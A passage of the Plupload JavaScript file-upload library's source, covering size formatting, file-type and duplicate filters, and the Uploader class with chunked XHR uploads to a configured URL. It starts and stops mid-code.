			/[\314-\317]/g, 'I', /[\354-\357]/g, 'i',
			/\321/g, 'N', /\361/g, 'n',
			/[\322-\330]/g, 'O', /[\362-\370]/g, 'o',
			/[\331-\334]/g, 'U', /[\371-\374]/g, 'u'
		];

		for (i = 0; i < lookup.length; i += 2) {
			name = name.replace(lookup[i], lookup[i + 1]);
		}

		// Replace whitespace
		name = name.replace(/\s+/g, '_');

		// Remove anything else
		name = name.replace(/[^a-z0-9_\-\.]+/gi, '');

		return name;
	},

	/**
	 * Builds a full url out of a base URL and an object with items to append as query string items.
	 *
	 * @method buildUrl
	 * @static
	 * @param {String} url Base URL to append query string items to.
	 * @param {Object} items Name/value object to serialize as a querystring.
	 * @return {String} String with url + serialized query string items.
	 */
	buildUrl : function(url, items) {
		var query = '';

		plupload.each(items, function(value, name) {
			query += (query ? '&' : '') + encodeURIComponent(name) + '=' + encodeURIComponent(value);
		});

		if (query) {
			url += (url.indexOf('?') > 0 ? '&' : '?') + query;
		}

		return url;
	},

	/**
	 * Formats the specified number as a size string for example 1024 becomes 1 KB.
	 *
	 * @method formatSize
	 * @static
	 * @param {Number} size Size to format as string.
	 * @return {String} Formatted size string.
	 */
	formatSize : function(size) {

		if (size === undef || /\D/.test(size)) {
			return plupload.translate('N/A');
		}

		function round(num, precision) {
			return Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision);
		}

		var boundary = Math.pow(1024, 4);

		// TB
		if (size > boundary) {
			return round(size / boundary, 1) + " " + plupload.translate('tb');
		}

		// GB
		if (size > (boundary/=1024)) {
			return round(size / boundary, 1) + " " + plupload.translate('gb');
		}

		// MB
		if (size > (boundary/=1024)) {
			return round(size / boundary, 1) + " " + plupload.translate('mb');
		}

		// KB
		if (size > 1024) {
			return Math.round(size / 1024) + " " + plupload.translate('kb');
		}

		return size + " " + plupload.translate('b');
	},


	/**
	 * Parses the specified size string into a byte value. For example 10kb becomes 10240.
	 *
	 * @method parseSize
	 * @static
	 * @param {String|Number} size String to parse or number to just pass through.
	 * @return {Number} Size in bytes.
	 */
	parseSize : o.parseSizeStr,


	/**
	 * A way to predict what runtime will be choosen in the current environment with the
	 * specified settings.
	 *
	 * @method predictRuntime
	 * @static
	 * @param {Object|String} config Plupload settings to check
	 * @param {String} [runtimes] Comma-separated list of runtimes to check against
	 * @return {String} Type of compatible runtime
	 */
	predictRuntime : function(config, runtimes) {
		var up, runtime;

		up = new plupload.Uploader(config);
		runtime = o.Runtime.thatCan(up.getOption().required_features, runtimes || config.runtimes);
		up.destroy();
		return runtime;
	},

	/**
	 * Registers a filter that will be executed for each file added to the queue.
	 * If callback returns false, file will not be added.
	 *
	 * Callback receives two arguments: a value for the filter as it was specified in settings.filters
	 * and a file to be filtered. Callback is executed in the context of uploader instance.
	 *
	 * @method addFileFilter
	 * @static
	 * @param {String} name Name of the filter by which it can be referenced in settings.filters
	 * @param {String} cb Callback - the actual routine that every added file must pass
	 */
	addFileFilter: function(name, cb) {
		fileFilters[name] = cb;
	}
};


plupload.addFileFilter('mime_types', function(filters, file, cb) {
	if (filters.length && !filters.regexp.test(file.name)) {
		this.trigger('Error', {
			code : plupload.FILE_EXTENSION_ERROR,
			message : plupload.translate('File extension error.'),
			file : file
		});
		cb(false);
	} else {
		cb(true);
	}
});


plupload.addFileFilter('max_file_size', function(maxSize, file, cb) {
	var undef;

	maxSize = plupload.parseSize(maxSize);

	// Invalid file size
	if (file.size !== undef && maxSize && file.size > maxSize) {
		this.trigger('Error', {
			code : plupload.FILE_SIZE_ERROR,
			message : plupload.translate('File size error.'),
			file : file
		});
		cb(false);
	} else {
		cb(true);
	}
});


plupload.addFileFilter('prevent_duplicates', function(value, file, cb) {
	if (value) {
		var ii = this.files.length;
		while (ii--) {
			// Compare by name and size (size might be 0 or undefined, but still equivalent for both)
			if (file.name === this.files[ii].name && file.size === this.files[ii].size) {
				this.trigger('Error', {
					code : plupload.FILE_DUPLICATE_ERROR,
					message : plupload.translate('Duplicate file error.'),
					file : file
				});
				cb(false);
				return;
			}
		}
	}
	cb(true);
});


/**
@class Uploader
@constructor

@param {Object} settings For detailed information about each option check documentation.
	@param {String|DOMElement} settings.browse_button id of the DOM element or DOM element itself to use as file dialog trigger.
	@param {String} settings.url URL of the server-side upload handler.
	@param {Number|String} [settings.chunk_size=0] Chunk size in bytes to slice the file into. Shorcuts with b, kb, mb, gb, tb suffixes also supported. `e.g. 204800 or "204800b" or "200kb"`. By default - disabled.
	@param {Boolean} [settings.send_chunk_number=true] Whether to send chunks and chunk numbers, or total and offset bytes.
	@param {String|DOMElement} [settings.container] id of the DOM element or DOM element itself that will be used to wrap uploader structures. Defaults to immediate parent of the `browse_button` element.
	@param {String|DOMElement} [settings.drop_element] id of the DOM element or DOM element itself to use as a drop zone for Drag-n-Drop.
	@param {String} [settings.file_data_name="file"] Name for the file field in Multipart formated message.
	@param {Object} [settings.filters={}] Set of file type filters.
		@param {Array} [settings.filters.mime_types=[]] List of file types to accept, each one defined by title and list of extensions. `e.g. {title : "Image files", extensions : "jpg,jpeg,gif,png"}`. Dispatches `plupload.FILE_EXTENSION_ERROR`
		@param {String|Number} [settings.filters.max_file_size=0] Maximum file size that the user can pick, in bytes. Optionally supports b, kb, mb, gb, tb suffixes. `e.g. "10mb" or "1gb"`. By default - not set. Dispatches `plupload.FILE_SIZE_ERROR`.
		@param {Boolean} [settings.filters.prevent_duplicates=false] Do not let duplicates into the queue. Dispatches `plupload.FILE_DUPLICATE_ERROR`.
	@param {String} [settings.flash_swf_url] URL of the Flash swf. (Not used in WordPress)
	@param {Object} [settings.headers] Custom headers to send with the upload. Hash of name/value pairs.
	@param {Number} [settings.max_retries=0] How many times to retry the chunk or file, before triggering Error event.
	@param {Boolean} [settings.multipart=true] Whether to send file and additional parameters as Multipart formated message.
	@param {Object} [settings.multipart_params] Hash of key/value pairs to send with every file upload.
	@param {Boolean} [settings.multi_selection=true] Enable ability to select multiple files at once in file dialog.
	@param {String|Object} [settings.required_features] Either comma-separated list or hash of required features that chosen runtime should absolutely possess.
	@param {Object} [settings.resize] Enable resizng of images on client-side. Applies to `image/jpeg` and `image/png` only. `e.g. {width : 200, height : 200, quality : 90, crop: true}`
		@param {Number} [settings.resize.width] If image is bigger, it will be resized.
		@param {Number} [settings.resize.height] If image is bigger, it will be resized.
		@param {Number} [settings.resize.quality=90] Compression quality for jpegs (1-100).
		@param {Boolean} [settings.resize.crop=false] Whether to crop images to exact dimensions. By default they will be resized proportionally.
	@param {String} [settings.runtimes="html5,html4"] Comma separated list of runtimes, that Plupload will try in turn, moving to the next if previous fails.
	@param {String} [settings.silverlight_xap_url] URL of the Silverlight xap. (Not used in WordPress)
	@param {Boolean} [settings.unique_names=false] If true will generate unique filenames for uploaded files.
	@param {Boolean} [settings.send_file_name=true] Whether to send file name as additional argument - 'name' (required for chunked uploads and some other cases where file name cannot be sent via normal ways).
*/
plupload.Uploader = function(options) {
	/**
	Fires when the current RunTime has been initialized.
	
	@event Init
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	 */

	/**
	Fires after the init event incase you need to perform actions there.
	
	@event PostInit
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	 */

	/**
	Fires when the option is changed in via uploader.setOption().
	
	@event OptionChanged
	@since 2.1
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {String} name Name of the option that was changed
	@param {Mixed} value New value for the specified option
	@param {Mixed} oldValue Previous value of the option
	 */

	/**
	Fires when the silverlight/flash or other shim needs to move.
	
	@event Refresh
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	 */

	/**
	Fires when the overall state is being changed for the upload queue.
	
	@event StateChanged
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	 */

	/**
	Fires when browse_button is clicked and browse dialog shows.
	
	@event Browse
	@since 2.1.2
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	 */	

	/**
	Fires for every filtered file before it is added to the queue.
	
	@event FileFiltered
	@since 2.1
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {plupload.File} file Another file that has to be added to the queue.
	 */

	/**
	Fires when the file queue is changed. In other words when files are added/removed to the files array of the uploader instance.
	
	@event QueueChanged
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	 */ 

	/**
	Fires after files were filtered and added to the queue.
	
	@event FilesAdded
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {Array} files Array of file objects that were added to queue by the user.
	 */

	/**
	Fires when file is removed from the queue.
	
	@event FilesRemoved
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {Array} files Array of files that got removed.
	 */

	/**
	Fires just before a file is uploaded. Can be used to cancel the upload for the specified file
	by returning false from the handler.
	
	@event BeforeUpload
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {plupload.File} file File to be uploaded.
	 */

	/**
	Fires when a file is to be uploaded by the runtime.
	
	@event UploadFile
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {plupload.File} file File to be uploaded.
	 */

	/**
	Fires while a file is being uploaded. Use this event to update the current file upload progress.
	
	@event UploadProgress
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {plupload.File} file File that is currently being uploaded.
	 */	

	/**
	Fires when file chunk is uploaded.
	
	@event ChunkUploaded
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {plupload.File} file File that the chunk was uploaded for.
	@param {Object} result Object with response properties.
		@param {Number} result.offset The amount of bytes the server has received so far, including this chunk.
		@param {Number} result.total The size of the file.
		@param {String} result.response The response body sent by the server.
		@param {Number} result.status The HTTP status code sent by the server.
		@param {String} result.responseHeaders All the response headers as a single string.
	 */

	/**
	Fires when a file is successfully uploaded.
	
	@event FileUploaded
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {plupload.File} file File that was uploaded.
	@param {Object} result Object with response properties.
		@param {String} result.response The response body sent by the server.
		@param {Number} result.status The HTTP status code sent by the server.
		@param {String} result.responseHeaders All the response headers as a single string.
	 */

	/**
	Fires when all files in a queue are uploaded.
	
	@event UploadComplete
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {Array} files Array of file objects that was added to queue/selected by the user.
	 */

	/**
	Fires when a error occurs.
	
	@event Error
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	@param {Object} error Contains code, message and sometimes file and other details.
		@param {Number} error.code The plupload error code.
		@param {String} error.message Description of the error (uses i18n).
	 */

	/**
	Fires when destroy method is called.
	
	@event Destroy
	@param {plupload.Uploader} uploader Uploader instance sending the event.
	 */
	var uid = plupload.guid()
	, settings
	, files = []
	, preferred_caps = {}
	, fileInputs = []
	, fileDrops = []
	, startTime
	, total
	, disabled = false
	, xhr
	;


	// Private methods
	function uploadNext() {
		var file, count = 0, i;

		if (this.state == plupload.STARTED) {
			// Find first QUEUED file
			for (i = 0; i < files.length; i++) {
				if (!file && files[i].status == plupload.QUEUED) {
					file = files[i];
					if (this.trigger("BeforeUpload", file)) {
						file.status = plupload.UPLOADING;
						this.trigger("UploadFile", file);
					}
				} else {
					count++;
				}
			}

			// All files are DONE or FAILED
			if (count == files.length) {
				if (this.state !== plupload.STOPPED) {
					this.state = plupload.STOPPED;
					this.trigger("StateChanged");
				}
				this.trigger("UploadComplete", files);
			}
		}
	}


	function calcFile(file) {
		file.percent = file.size > 0 ? Math.ceil(file.loaded / file.size * 100) : 100;
		calc();
	}


	function calc() {
		var i, file;

		// Reset stats
		total.reset();

		// Check status, size, loaded etc on all files
		for (i = 0; i < files.length; i++) {
			file = files[i];

			if (file.size !== undef) {
				// We calculate totals based on original file size
				total.size += file.origSize;

				// Since we cannot predict file size after resize, we do opposite and
				// interpolate loaded amount to match magnitude of total
				total.loaded += file.loaded * file.origSize / file.size;
			} else {
				total.size = undef;
			}

			if (file.status == plupload.DONE) {
				total.uploaded++;
			} else if (file.status == plupload.FAILED) {
				total.failed++;
			} else {
				total.queued++;
			}
		}

		// If we couldn't calculate a total file size then use the number of files to calc percent
		if (total.size === undef) {
			total.percent = files.length > 0 ? Math.ceil(total.uploaded / files.length * 100) : 0;
		} else {
			total.bytesPerSec = Math.ceil(total.loaded / ((+new Date() - startTime || 1) / 1000.0));
			total.percent = total.size > 0 ? Math.ceil(total.loaded / total.size * 100) : 0;
		}
	}


	function getRUID() {
		var ctrl = fileInputs[0] || fileDrops[0];
		if (ctrl) {
			return ctrl.getRuntime().uid;
		}
		return false;
	}


	function runtimeCan(file, cap) {
		if (file.ruid) {
			var info = o.Runtime.getInfo(file.ruid);
			if (info) {
				return info.can(cap);
			}
		}
		return false;
	}


	function bindEventListeners() {
		this.bind('FilesAdded FilesRemoved', function(up) {
			up.trigger('QueueChanged');
			up.refresh();
		});

		this.bind('CancelUpload', onCancelUpload);
		
		this.bind('BeforeUpload', onBeforeUpload);

		this.bind('UploadFile', onUploadFile);

		this.bind('UploadProgress', onUploadProgress);

		this.bind('StateChanged', onStateChanged);

		this.bind('QueueChanged', calc);

		this.bind('Error', onError);

		this.bind('FileUploaded', onFileUploaded);

		this.bind('Destroy', onDestroy);
	}


	function initControls(settings, cb) {
		var self = this, inited = 0, queue = [];

		// common settings
		var options = {
			runtime_order: settings.runtimes,
			required_caps: settings.required_features,
			preferred_caps: preferred_caps
		};

		// add runtime specific options if any
		plupload.each(settings.runtimes.split(/\s*,\s*/), function(runtime) {
			if (settings[runtime]) {
				options[runtime] = settings[runtime];
			}
		});

		// initialize file pickers - there can be many
		if (settings.browse_button) {
			plupload.each(settings.browse_button, function(el) {
				queue.push(function(cb) {
					var fileInput = new o.FileInput(plupload.extend({}, options, {
						accept: settings.filters.mime_types,
						name: settings.file_data_name,
						multiple: settings.multi_selection,
						container: settings.container,
						browse_button: el
					}));

					fileInput.onready = function() {
						var info = o.Runtime.getInfo(this.ruid);

						// for backward compatibility
						o.extend(self.features, {
							chunks: info.can('slice_blob'),
							multipart: info.can('send_multipart'),
							multi_selection: info.can('select_multiple')
						});

						inited++;
						fileInputs.push(this);
						cb();
					};

					fileInput.onchange = function() {
						self.addFile(this.files);
					};

					fileInput.bind('mouseenter mouseleave mousedown mouseup', function(e) {
						if (!disabled) {
							if (settings.browse_button_hover) {
								if ('mouseenter' === e.type) {
									o.addClass(el, settings.browse_button_hover);
								} else if ('mouseleave' === e.type) {
									o.removeClass(el, settings.browse_button_hover);
								}
							}

							if (settings.browse_button_active) {
								if ('mousedown' === e.type) {
									o.addClass(el, settings.browse_button_active);
								} else if ('mouseup' === e.type) {
									o.removeClass(el, settings.browse_button_active);
								}
							}
						}
					});

					fileInput.bind('mousedown', function() {
						self.trigger('Browse');
					});

					fileInput.bind('error runtimeerror', function() {
						fileInput = null;
						cb();
					});

					fileInput.init();
				});
			});
		}

		// initialize drop zones
		if (settings.drop_element) {
			plupload.each(settings.drop_element, function(el) {
				queue.push(function(cb) {
					var fileDrop = new o.FileDrop(plupload.extend({}, options, {
						drop_zone: el
					}));

					fileDrop.onready = function() {
						var info = o.Runtime.getInfo(this.ruid);

						// for backward compatibility
						o.extend(self.features, {
							chunks: info.can('slice_blob'),
							multipart: info.can('send_multipart'),
							dragdrop: info.can('drag_and_drop')
						});

						inited++;
						fileDrops.push(this);
						cb();
					};

					fileDrop.ondrop = function() {
						self.addFile(this.files);
					};

					fileDrop.bind('error runtimeerror', function() {
						fileDrop = null;
						cb();
					});

					fileDrop.init();
				});
			});
		}


		o.inSeries(queue, function() {
			if (typeof(cb) === 'function') {
				cb(inited);
			}
		});
	}


	function resizeImage(blob, params, cb) {
		var img = new o.Image();

		try {
			img.onload = function() {
				// no manipulation required if...
				if (params.width > this.width &&
					params.height > this.height &&
					params.quality === undef &&
					params.preserve_headers &&
					!params.crop
				) {
					this.destroy();
					return cb(blob);
				}
				// otherwise downsize
				img.downsize(params.width, params.height, params.crop, params.preserve_headers);
			};

			img.onresize = function() {
				cb(this.getAsBlob(blob.type, params.quality));
				this.destroy();
			};

			img.onerror = function() {
				cb(blob);
			};

			img.load(blob);
		} catch(ex) {
			cb(blob);
		}
	}


	function setOption(option, value, init) {
		var self = this, reinitRequired = false;

		function _setOption(option, value, init) {
			var oldValue = settings[option];

			switch (option) {
				case 'max_file_size':
					if (option === 'max_file_size') {
						settings.max_file_size = settings.filters.max_file_size = value;
					}
					break;

				case 'chunk_size':
					if (value = plupload.parseSize(value)) {
						settings[option] = value;
						settings.send_file_name = true;
					}
					break;

				case 'multipart':
					settings[option] = value;
					if (!value) {
						settings.send_file_name = true;
					}
					break;

				case 'unique_names':
					settings[option] = value;
					if (value) {
						settings.send_file_name = true;
					}
					break;

				case 'filters':
					// for sake of backward compatibility
					if (plupload.typeOf(value) === 'array') {
						value = {
							mime_types: value
						};
					}

					if (init) {
						plupload.extend(settings.filters, value);
					} else {
						settings.filters = value;
					}

					// if file format filters are being updated, regenerate the matching expressions
					if (value.mime_types) {
						settings.filters.mime_types.regexp = (function(filters) {
							var extensionsRegExp = [];

							plupload.each(filters, function(filter) {
								plupload.each(filter.extensions.split(/,/), function(ext) {
									if (/^\s*\*\s*$/.test(ext)) {
										extensionsRegExp.push('\\.*');
									} else {
										extensionsRegExp.push('\\.' + ext.replace(new RegExp('[' + ('/^$.*+?|()[]{}\\'.replace(/./g, '\\$&')) + ']', 'g'), '\\$&'));
									}
								});
							});

							return new RegExp('(' + extensionsRegExp.join('|') + ')$', 'i');
						}(settings.filters.mime_types));
					}
					break;
	
				case 'resize':
					if (init) {
						plupload.extend(settings.resize, value, {
							enabled: true
						});
					} else {
						settings.resize = value;
					}
					break;

				case 'prevent_duplicates':
					settings.prevent_duplicates = settings.filters.prevent_duplicates = !!value;
					break;

				// options that require reinitialisation
				case 'container':
				case 'browse_button':
				case 'drop_element':
						value = 'container' === option
							? plupload.get(value)
							: plupload.getAll(value)
							; 
				
				case 'runtimes':
				case 'multi_selection':
					settings[option] = value;
					if (!init) {
						reinitRequired = true;
					}
					break;

				default:
					settings[option] = value;
			}

			if (!init) {
				self.trigger('OptionChanged', option, value, oldValue);
			}
		}

		if (typeof(option) === 'object') {
			plupload.each(option, function(value, option) {
				_setOption(option, value, init);
			});
		} else {
			_setOption(option, value, init);
		}

		if (init) {
			// Normalize the list of required capabilities
			settings.required_features = normalizeCaps(plupload.extend({}, settings));

			// Come up with the list of capabilities that can affect default mode in a multi-mode runtimes
			preferred_caps = normalizeCaps(plupload.extend({}, settings, {
				required_features: true
			}));
		} else if (reinitRequired) {
			self.trigger('Destroy');
			
			initControls.call(self, settings, function(inited) {
				if (inited) {
					self.runtime = o.Runtime.getInfo(getRUID()).type;
					self.trigger('Init', { runtime: self.runtime });
					self.trigger('PostInit');
				} else {
					self.trigger('Error', {
						code : plupload.INIT_ERROR,
						message : plupload.translate('Init error.')
					});
				}
			});
		}
	}


	// Internal event handlers
	function onBeforeUpload(up, file) {
		// Generate unique target filenames
		if (up.settings.unique_names) {
			var matches = file.name.match(/\.([^.]+)$/), ext = "part";
			if (matches) {
				ext = matches[1];
			}
			file.target_name = file.id + '.' + ext;
		}
	}


	function onUploadFile(up, file) {
		var url = up.settings.url
		, chunkSize = up.settings.chunk_size
		, retries = up.settings.max_retries
		, features = up.features
		, offset = 0
		, blob
		;

		// make sure we start at a predictable offset
		if (file.loaded) {
			offset = file.loaded = chunkSize ? chunkSize * Math.floor(file.loaded / chunkSize) : 0;
		}

		function handleError() {
			if (retries-- > 0) {
				delay(uploadNextChunk, 1000);
			} else {
				file.loaded = offset; // reset all progress

				up.trigger('Error', {
					code : plupload.HTTP_ERROR,
					message : plupload.translate('HTTP Error.'),
					file : file,
					response : xhr.responseText,
					status : xhr.status,
					responseHeaders: xhr.getAllResponseHeaders()
				});
			}
		}

		function uploadNextChunk() {
			var chunkBlob, formData, args = {}, curChunkSize;

			// make sure that file wasn't cancelled and upload is not stopped in general
			if (file.status !== plupload.UPLOADING || up.state === plupload.STOPPED) {
				return;
			}

			// send additional 'name' parameter only if required
			if (up.settings.send_file_name) {
				args.name = file.target_name || file.name;
			}

			if (chunkSize && features.chunks && blob.size > chunkSize) { // blob will be of type string if it was loaded in memory 
				curChunkSize = Math.min(chunkSize, blob.size - offset);
				chunkBlob = blob.slice(offset, offset + curChunkSize);
			} else {
				curChunkSize = blob.size;
				chunkBlob = blob;
			}

			// If chunking is enabled add corresponding args, no matter if file is bigger than chunk or smaller
			if (chunkSize && features.chunks) {
				// Setup query string arguments
				if (up.settings.send_chunk_number) {
					args.chunk = Math.ceil(offset / chunkSize);
					args.chunks = Math.ceil(blob.size / chunkSize);
				} else { // keep support for experimental chunk format, just in case
					args.offset = offset;
					args.total = blob.size;
				}
			}

			xhr = new o.XMLHttpRequest();

			// Do we have upload progress support
			if (xhr.upload) {
				xhr.upload.onprogress = function(e) {
					file.loaded = Math.min(file.size, offset + e.loaded);
					up.trigger('UploadProgress', file);
				};
			}

			xhr.onload = function() {
				// check if upload made itself through
				if (xhr.status >= 400) {
					handleError();
					return;
				}

				retries = up.settings.max_retries; // reset the counter

				// Handle chunk response
				if (curChunkSize < blob.size) {
					chunkBlob.destroy();

					offset += curChunkSize;
					file.loaded = Math.min(offset, blob.size);

					up.trigger('ChunkUploaded', file, {
						offset : file.loaded,
						total : blob.size,
						response : xhr.responseText,
						status : xhr.status,
						responseHeaders: xhr.getAllResponseHeaders()
					});

					// stock Android browser doesn't fire upload progress events, but in chunking mode we can fake them
					if (o.Env.browser === 'Android Browser') {
						// doesn't harm in general, but is not required anywhere else
						up.trigger('UploadProgress', file);
					} 
				} else {
					file.loaded = file.size;
				}

				chunkBlob = formData = null; // Free memory

				// Check if file is uploaded
				if (!offset || offset >= blob.size) {
					// If file was modified, destory the copy
					if (file.size != file.origSize) {
						blob.destroy();
						blob = null;
					}

					up.trigger('UploadProgress', file);

					file.status = plupload.DONE;

					up.trigger('FileUploaded', file, {
						response : xhr.responseText,
						status : xhr.status,
						responseHeaders: xhr.getAllResponseHeaders()
					});
				} else {
					// Still chunks left
					delay(uploadNextChunk, 1); // run detached, otherwise event handlers interfere
				}
			};

			xhr.onerror = function() {
				handleError();
			};

			xhr.onloadend = function() {
				this.destroy();
				xhr = null;
			};

			// Build multipart request
			if (up.settings.multipart && features.multipart) {
				xhr.open("post", url, true);

				// Set custom headers
				plupload.each(up.settings.headers, function(value, name) {
					xhr.setRequestHeader(name, value);
				});

				formData = new o.FormData();

				// Add multipart params
				plupload.each(plupload.extend(args, up.settings.multipart_params), function(value, name) {
					formData.append(name, value);
				});

				// Add file and send it
				formData.append(up.settings.file_data_name, chunkBlob);
				xhr.send(formData, {
					runtime_order: up.settings.runtimes,
					required_caps: up.settings.required_features,
					preferred_caps: preferred_caps
				});
			} else {
				// if no multipart, send as binary stream
				url = plupload.buildUrl(up.settings.url, plupload.extend(args, up.settings.multipart_params));

				xhr.open("post", url, true);

				xhr.setRequestHeader('Content-Type', 'application/octet-stream'); // Binary stream header

				// Set custom headers
				plupload.each(up.settings.headers, function(value, name) {
					xhr.setRequestHeader(name, value);
				});

				xhr.send(chunkBlob, {
					runtime_order: up.settings.runtimes,
					required_caps: up.settings.required_features,
					preferred_caps: preferred_caps
				});
			}
		}

		blob = file.getSource();

		// Start uploading chunks
		if (up.settings.resize.enabled && runtimeCan(blob, 'send_binary_string') && !!~o.inArray(blob.type, ['image/jpeg', 'image/png'])) {
			// Resize if required
			resizeImage.call(this, blob, up.settings.resize, function(resizedBlob) {
				blob = resizedBlob;
				file.size = resizedBlob.size;
				uploadNextChunk();
			});
		} else {
			uploadNextChunk();
		}
	}


	function onUploadProgress(up, file) {
		calcFile(file);
	}


	function onStateChanged(up) {
		if (up.state == plupload.STARTED) {
			// Get start time to calculate bps
			startTime = (+new Date());
		} else if (up.state == plupload.STOPPED) {
			// Reset currently uploading files
			for (var i = up.files.length - 1; i >= 0; i--) {
				if (up.files[i].status == plupload.UPLOADING) {
					up.files[i].status = plupload.QUEUED;
					calc();
				}
			}
		}
	}


	function onCancelUpload() {
		if (xhr) {
			xhr.abort();
		}
	}


	function onFileUploaded(up) {
		calc();

		// Upload next file but detach it from the error event
		// since other custom listeners might want to stop the queue
		delay(function() {
			uploadNext.call(up);
		}, 1);
	}


	function onError(up, err) {
		if (err.code === plupload.INIT_ERROR) {
			up.destroy();
		}
		// Set failed status if an error occured on a file
		else if (err.code === plupload.HTTP_ERROR) {
			err.file.status = plupload.FAILED;
			calcFile(err.file);

			// Upload next file but detach it from the error event
			// since other custom listeners might want to stop the queue
			if (up.state == plupload.STARTED) { // upload in progress
				up.trigger('CancelUpload');
				delay(function() {
					uploadNext.call(up);
				}, 1);
			}
		}
	}


	function onDestroy(up) {
		up.stop();

		// Purge the queue
		plupload.each(files, function(file) {
			file.destroy();
		});
		files = [];

		if (fileInputs.length) {
			plupload.each(fileInputs, function(fileInput) {
				fileInput.destroy();
			});
			fileInputs = [];
		}

		if (fileDrops.length) {
			plupload.each(fileDrops, function(fileDrop) {
				fileDrop.destroy();
			});
			fileDrops = [];
		}

		preferred_caps = {};
		disabled = false;
		startTime = xhr = null;
		total.reset();
	}


	// Default settings
	settings = {
		runtimes: o.Runtime.order,
		max_retries: 0,
		chunk_size: 0,
		multipart: true,
		multi_selection: true,
		file_data_name: 'file',
		filters: {
			mime_types: [],
			prevent_duplicates: false,
			max_file_size: 0
		},
		resize: {
			enabled: false,
			preserve_headers: true,
			crop: false
		},
		send_file_name: true,
		send_chunk_number: true
	};

	
	setOption.call(this, options, null, true);

	// Inital total state
	total = new plupload.QueueProgress(); 

	// Add public methods
	plupload.extend(this, {

		/**
		 * Unique id for the Uploader instance.
		 *
		 * @property id
		 * @type String
		 */
		id : uid,
		uid : uid, // mOxie uses this to differentiate between event targets

		/**
		 * Current state of the total uploading progress. This one can either be plupload.STARTED or plupload.STOPPED.
		 * These states are controlled by the stop/start methods. The default value is STOPPED.
		 *
		 * @property state
		 * @type Number
		 */
		state : plupload.STOPPED,

		/**
		 * Map of features that are available for the uploader runtime. Features will be filled
		 * before the init event is called, these features can then be used to alter the UI for the end user.
		 * Some of the current features that might be in this map is: dragdrop, chunks, jpgresize, pngresize.
		 *
		 * @property features
		 * @type Object
		 */
		features : {},

		/**
		 * Current runtime name.
		 *
		 * @property runtime
		 * @type String
		 */
		runtime : null,

		/**
		 * Current upload queue, an array of File instances.
		 *
		 * @property files
		 * @type Array
		 * @see plupload.File
		 */
		files : files,

		/**
		 * Object with name/value settings.
		 *
		 * @property settings
		 * @type Object
		 */
		settings : settings,

		/**
		 * Total progess information. How many files has been uploaded, total percent etc.
		 *
		 * @property total
		 * @type plupload.QueueProgress
		 */
		total : total,


		/**
		 * Initializes the Uploader instance and adds internal event listeners.
		 *
		 * @method init
		 */
		init : function() {
			var self = this, opt, preinitOpt, err;
			
			preinitOpt = self.getOption('preinit');
			if (typeof(preinitOpt) == "function") {
				preinitOpt(self);
			} else {
				plupload.each(preinitOpt, function(func, name) {
					self.bind(name, func);
				});
			}

			bindEventListeners.call(self);

			// Check for required options
			plupload.each(['container', 'browse_button', 'drop_element'], function(el) {
				if (self.getOption(el) === null) {
					err = {
						code : plupload.INIT_ERROR,
						message : plupload.translate("'%' specified, but cannot be found.")
					}
					return false;
				}
			});

			if (err) {
				return self.trigger('Error', err);
			}


			if (!settings.browse_button && !settings.drop_element) {
				return self.trigger('Error', {
					code : plupload.INIT_ERROR,
					message : plupload.translate("You must specify either 'browse_button' or 'drop_element'.")
				});
			}


			initControls.call(self, settings, function(inited) {
				var initOpt = self.getOption('init');
				if (typeof(initOpt) == "function") {
					initOpt(self);
				} else {
					plupload.each(initOpt, function(func, name) {
						self.bind(name, func);
					});
				}

				if (inited) {
					self.runtime = o.Runtime.getInfo(getRUID()).type;
					self.trigger('Init', { runtime: self.runtime });
					self.trigger('PostInit');
				} else {
					self.trigger('Error', {
						code : plupload.INIT_ERROR,
						message : plupload.translate('Init error.')
					});
				}
			});
		},

		/**
		 * Set the value for the specified option(s).
		 *
		 * @method setOption
		 * @since 2.1
		 * @param {String|Object} option Name of the option to change or the set of key/value pairs
		 * @param {Mixed} [value] Value for the option (is ignored, if first argument is object)
		 */
		setOption: function(option, value) {
			setOption.call(this, option, value, !this.runtime); // until runtime not set we do not need to reinitialize
		},

		/**
		 * Get the value for the specified option or the whole configuration, if not specified.
		 * 
		 * @method getOption
		 * @since 2.1
		 * @param {String} [option] Name of the option to get
		 * @return {Mixed} Value for the option or the whole set
		 */
		getOption: function(option) {
			if (!option) {
				return settings;
			}
			return settings[option];
		},

		/**
		 * Refreshes the upload instance by dispatching out a refresh event to all runtimes.
		 * This would for example reposition flash/silverlight shims on the page.
		 *
		 * @method refresh
		 */
		refresh : function() {
			if (fileInputs.length) {
				plupload.each(fileInputs, function(fileInput) {
					fileInput.trigger('Refresh');
				});
			}
			this.trigger('Refresh');
		},

		/**
		 * Starts uploading the queued files.
		 *
		 * @method start
		 */
		start : function() {
			if (this.state != plupload.STARTED) {
				this.state = plupload.STARTED;
				this.trigger('StateChanged');

				uploadNext.call(this);
			}
		},

		/**
		 * Stops the upload of the queued files.
		 *
		 * @method stop
		 */
		stop : function() {
			if (this.state != plupload.STOPPED) {
				this.state = plupload.STOPPED;
				this.trigger('StateChanged');
				this.trigger('CancelUpload');
			}
		},


		/**
		 * Disables/enables browse button on request.
		 *
		 * @method disableBrowse
		 * @param {Boolean} disable Whether to disable or enable (default: true)
		 */
		disableBrowse : function() {
			disabled = arguments[0] !== undef ? arguments[0] : true;

			if (fileInputs.length) {
				plupload.each(fileInputs, function(fileInput) {
					fileInput.disable(disabled);
				});
			}

			this.trigger('DisableBrowse', disabled);
		},

		/**
		 * Returns the specified file object by id.
		 *
		 * @method getFile
		 * @param {String} id File id to look for.
		 * @return {plupload.File} File object or undefined if it wasn't found;
		 */
		getFile : function(id) {
			var i;
